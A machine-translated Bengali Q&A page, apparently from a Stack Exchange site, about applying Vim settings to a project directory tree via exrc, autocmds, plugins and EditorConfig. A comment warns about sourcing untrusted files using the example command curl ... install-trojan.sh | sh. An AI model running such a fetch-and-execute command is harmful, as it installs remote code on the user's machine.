কেবল ডিরেক্টরি ট্রিতে সেটিংস প্রয়োগ করা হচ্ছে


33

আমার কাজে আমরা ts2 এর একটি মান ব্যবহার করি ; আমার ব্যক্তিগত পছন্দ 4, যা আমি আমার শখের প্রকল্পগুলির জন্য ব্যবহার করি এবং এই অন্যান্য প্রকল্পটি আমরা উত্তরাধিকারসূত্রে পেয়েছি ts=8

প্রকল্পের ভিত্তিতে আমি সেট করতে চাই এমন আরও কিছু সেটিংস রয়েছে (উদাহরণস্বরূপ ভাঁজ)। Filetype: বা এই সেটিংস ভিত্তিবিন্দু কি ফাইল ব্যবহার রয়েছে উপর ভিত্তি করে স্বয়ংক্রিয়ভাবে-সনাক্ত তাদের না যেহেতু আমি প্রতিটি প্রকল্পের নিয়মাবলী সম্মান করতে চাই, ভাল অপশন।

আমি কি সমস্ত ফাইলগুলিতে একটি মডেলিন যুক্ত না করে কোনও প্রিমের (ডিরেক্টরি ডিরেক্টরিতে থাকা সমস্ত) প্রজেক্টে প্রযোজ্য কোনও সেটিংস ফাইলটি ভিমকে ব্যবহার করতে পারি?


উত্তর:


19

এটি করার জন্য কয়েকটি হালকা ওজনের উপায় রয়েছে।

  1. প্রদত্ত নামের একটি ফাইল পরীক্ষা করুন এবং এটি উত্স করুন

    if filereadable(".vimscript_file")
        so .vimscript_file
    endif
    

    ফাইলটি উদাহরণে লুকানো আছে তবে এটি alচ্ছিক।

  2. স্থানীয় .vimrcফাইল (প্লাগইনের মতো নয়)

    set exrc
    

    এটি ১ এর মতোই তবে ফাইলটিকে ".vimrc" বলা হবে।

    এটির সাথে একটি সাধারণ পরামর্শ হ'ল ব্যবহার করা

    set secure
    

    যা কোনও .vimrcফাইল সম্ভাব্য বিপজ্জনক কাজগুলি শেল কমান্ডগুলি চালানো থেকে বিরত রাখে। ধারণাটি হ'ল আপনি ভিমকে .vimrcঅন্য কারও দ্বারা লিখিত একটি ফাইল পড়তে চান না যা খারাপ কিছু করে।

  3. স্বতঃশক্তি যেগুলি বর্তমানের পথটি পরীক্ষা করে

    au BufNewFile,BufRead *path-possibly-using-globbing setlocal setting=value
    

    এই বিকল্পটি আমি ব্যবহার করি। ওয়াইএমএমভিতে আমি বিভিন্ন প্রকল্পের মধ্যে খুব বেশি পরিবর্তন করি না তবে আপনি যদি পথের উপর ভিত্তি করে কেবল একটি বা দুটি কাজ করতে চান এবং এটি আপনার কাছে রাখতে চান তবে এটি দুর্দান্ত .vimrcএবং সহজ।


নোট করুন যে বিকল্পটি 1 এবং 2 তে এই মন্তব্যে বর্ণিত একই সীমাবদ্ধতা রয়েছে : এটি পুনঃসংশ্লিষ্ট সাব-ডিরেক্টরিতে প্রয়োগ হয় না।

15

আমি এই উদ্দেশ্যে লোকালভিআরসিআর ব্যবহার করি ।

.lvimrcআপনার প্রকল্পের ভিতরে আপনার প্রকল্প সেটিংস সহ একটি রাখুন এবং এই সেটিংসটি সেটিংসগুলিকে ওভাররাইড করবে .vimrc

ডিফল্টরূপে, আপনাকে জিজ্ঞাসা করা হবে আপনি এই ফাইলটি উত্স করতে চান, যেমন:

localvimrc: source /home/martin/code/.lvimrc? ([y]es/[n]o/[a]ll/[q]uit) 

এটি সোর্সিং এলোমেলো (অবিশ্বস্ত) ভিএমআরসি ফাইলগুলি রোধ করা। যদি আপনি এই বিরক্তিকর মনে করেন তবে আপনি .lvimrcফাইলগুলির একটি শ্বেত তালিকাটি সেটআপ করতে পারেন এতে g:localvimrc_whitelist:

let g:localvimrc_whitelist = '/home/martin/code/.lvimrc'

অথবা আপনি সম্পূর্ণরূপে নিশ্চিতকরণের জন্য জিজ্ঞাসা করতে অক্ষম করতে পারেন set g:localvimrc_ask = 0। যদিও এটি প্রস্তাবিত নয়।


5

কেন্দ্রীয় কনফিগারেশন

নির্দিষ্ট কমান্ড / স্থানীয় ব্যতিক্রমগুলি কেন্দ্রীয়ভাবে কনফিগার করতে যদি ঠিক থাকে তবে আপনি এই জাতীয় অটোমডিএস আপনার মধ্যে রাখতে পারেন ~/.vimrc:

:autocmd BufRead,BufNewFile /path/to/dir/* setlocal ts=4 sw=4

এর :setlocalপরিবর্তে :setএবং একইভাবে :map <buffer> ...এবং ব্যবহার করা গুরুত্বপূর্ণ :command! -buffer ...

অন্যদিকে, আপনি যদি প্রকল্পের সাথে সঞ্চিত নির্দিষ্ট কনফিগারেশনটি চান (এবং এটি মডেলাইনগুলির মাধ্যমে সমস্ত ফাইলে এম্বেড করতে চান না ), আপনার নিম্নলিখিত দুটি বিকল্প রয়েছে:

অন্তর্নির্মিত কার্যকারিতা সহ স্থানীয় কনফিগারেশন

যদি আপনি সর্বদা প্রকল্পের রুট ডিরেক্টরি থেকে অন্তর্নির্মিত থেকে Vim শুরু করেন

:set exrc

.vimrcবর্তমান ডিরেক্টরি থেকে একটি ফাইল পড়া সক্ষম করে । আপনি :set ts=4 sw=4কমান্ডগুলি সেখানে রাখতে পারেন।

প্লাগইন মাধ্যমে স্থানীয় কনফিগারেশন

অন্যথায়, আপনার একটি প্লাগইন সহায়তা প্রয়োজন; vim.org এ বেশ কয়েকটি রয়েছে; আমি লোকালসিআর প্লাগইনটি সুপারিশ করতে পারি , যা এমনকি স্থানীয় ফাইল টাইপ-নির্দিষ্ট কনফিগারেশনের অনুমতি দেয়।

নোট করুন যে ফাইল সিস্টেম থেকে পঠন কনফিগারেশনটিতে সুরক্ষা রয়েছে; আপনি চান করতে পারেন :set secure


2
নোটগুলি যে .exrcঅত্যন্ত সীমাবদ্ধ: বর্তমান ডিরেক্টরিটিতে প্রকল্পের ধারণাটি থেমে আছে, অর্থাৎ উপ-ডিরেক্টরিতে থাকা ফাইলগুলি এই প্রকল্পের নয়।
লুক হার্মিটে

4

নেই সম্পাদক কনফিগ প্রকল্পের যা আপনি নতুন লাইন শৈলী এবং অন্যান্য বিষয়ের সঙ্গে বরাবর ট্যাবস্টপ সেটিংসের মত প্রকল্প স্তর কনফিগারেশনের নির্ধারণ করতে দেয়। ভিআইএম সহ সকল প্রকার সম্পাদকের জন্য অনেকগুলি প্লাগিং রয়েছে । এটি আপনাকে বিভিন্ন ফাইল ধরণের জন্য সেটিংস সংজ্ঞায়িত করতে দেয়।

# EditorConfig is awesome: http://EditorConfig.org

# top-most EditorConfig file
root = true

# Unix-style newlines with a newline ending every file
[*]
end_of_line = lf
insert_final_newline = true

# Matches multiple files with brace expansion notation
# Set default charset
[*.{js,py}]
charset = utf-8

# 4 space indentation
[*.py]
indent_style = space
indent_size = 4

# Tab indentation (no size specified)
[*.js]
indent_style = tab

# Indentation override for all JS under lib directory
[lib/**.js]
indent_style = space
indent_size = 2

# Matches the exact files either package.json or .travis.yml
[{package.json,.travis.yml}]
indent_style = space
indent_size = 2

0

আমি এটি লিখেছি এবং আমার .ভিমির্কে এটি যুক্ত করেছি যাতে আমাকে প্রকল্প এবং উপ-প্রকল্পগুলিতে .ভিমसेटিং ফাইল রাখার অনুমতি দেয়।

" Search for any .vimsettings files in the path to the file.
" Source them if you find them.
function! ApplyLocalSettings(dirname)
    " Don't try to walk a remote directory tree -- takes too long, too many
    " what if's
    let l:netrwProtocol = strpart(a:dirname, 0, stridx(a:dirname, "://"))
    if l:netrwProtocol != ""
        return
    endif

    " Convert windows paths to unix style (they still work)
    let l:curDir = substitute(a:dirname, "\\", "/", "g")
    let l:parentDir = strpart(l:curDir, 0, strridx(l:curDir, "/"))
    if isdirectory(l:parentDir)
        " Recursively walk to the top of the path
        call ApplyLocalSettings(l:parentDir)
    endif

    " Now walk back down the path and source .vimsettings as you find them. This
    " way child directories can 'inherit' from their parents
    let l:settingsFile = a:dirname . "/.vimsettings"
    if filereadable(l:settingsFile)
        exec ":source " . l:settingsFile
    endif
endfunction
autocmd! BufEnter * call ApplyLocalSettings(expand("<afile>:p:h"))

এই কাজ, এটা বিপজ্জনক যেহেতু আপনি শুধু একটি ফাইল গুন করছি, এবং নির্বাহ বিবেচনা করা যেতে পারে সব (যেমন শেল কমান্ড সহ এটা কমান্ড system('curl http://example.com/install-trojan.sh | sh')...
মার্টিন Tournoij

0

আমি এটি চেয়েছিলাম তাই আমি এটি স্থানীয়ভাবে প্রয়োগ করেছি। আমি "এলোমেলো কোড চালানো" নিয়ে তেমন উদ্বিগ্ন নই তবে এটি সাধারণ প্রয়োজনে কাজ করতে পারে। প্রয়োজনীয় হিসাবে ফাইলের নাম সামঞ্জস্য করুন।

let s:this_file = expand("<sfile>")
autocmd BufEnter * call LoadLocalVimrc(expand("<afile>"))

function! LoadLocalVimrc(filename)
    let l:filepath = fnamemodify(a:filename, ':h')
    let l:file = findfile("local.vimrc", l:filepath . ";/")
    if l:file != ''
        execute "source" l:file
        execute "nnoremap <F8> :$tabe " . s:this_file . "<CR>:sp " . l:file . "<CR>"
    endif
endfunction

এটি local.vimrcআসলে আমার প্রতি কোম্পানির ভিএমআরসি ফাইলগুলির যথেষ্ট সংকলনের একটি ফাইলের একটি সিমিলিংক যা আমি অন্য কোথাও উত্স নিয়ন্ত্রণে রাখতে পারি, যা আমার সম্পূর্ণ কনফিগারেশনটিকে অন্য মেশিনে স্থানান্তরিত করতে সহজ করে তোলে বা যদি আমি সাইটটিতে বা অন্য কোনও সংস্থায় পরিদর্শন করি if । ক্যাসকেডিং কনফিগারেশন ব্যবহার করা যেতে পারে তবে অনুশীলনে আমার সেই কার্যকারিতাটির দরকার নেই। আমি F8পাওয়া ফাইলটি এবং .vimrcএকটি নতুন ট্যাবে আমার "প্রধান" খোলার জন্য তারও বেঁধে রেখেছি ...

এই স্থানীয় কনফিগারেশনের ভিতরে, যেহেতু তারা প্রতিটি খোলা ফাইলের জন্য পার্স করা হয়, তাই আপনাকে ম্যাপিং এবং সেটিংস বাফার-লোকালে সেট করতে ভুলবেন না। যেমন

nnoremap <buffer> <F3> :silent !p4 edit %<CR>:w!<CR>:e<CR>
nnoremap <buffer> <S-F3> :w<CR>:silent !p4 add %<CR>
nnoremap <buffer> <C-F3> :silent !p4 diff %<CR>
nnoremap <buffer> <S-C-F3> :silent !p4vc timelapse %<CR>

setlocal textwidth=101
setlocal noexpandtab
setlocal shiftwidth=4
setlocal tabstop=4
setlocal cinoptions=:0g0(0l1j0*700s+s
আমাদের সাইট ব্যবহার করে, আপনি স্বীকার করেছেন যে আপনি আমাদের কুকি নীতি এবং গোপনীয়তা নীতিটি পড়েছেন এবং বুঝতে পেরেছেন ।
Licensed under cc by-sa 3.0 with attribution required.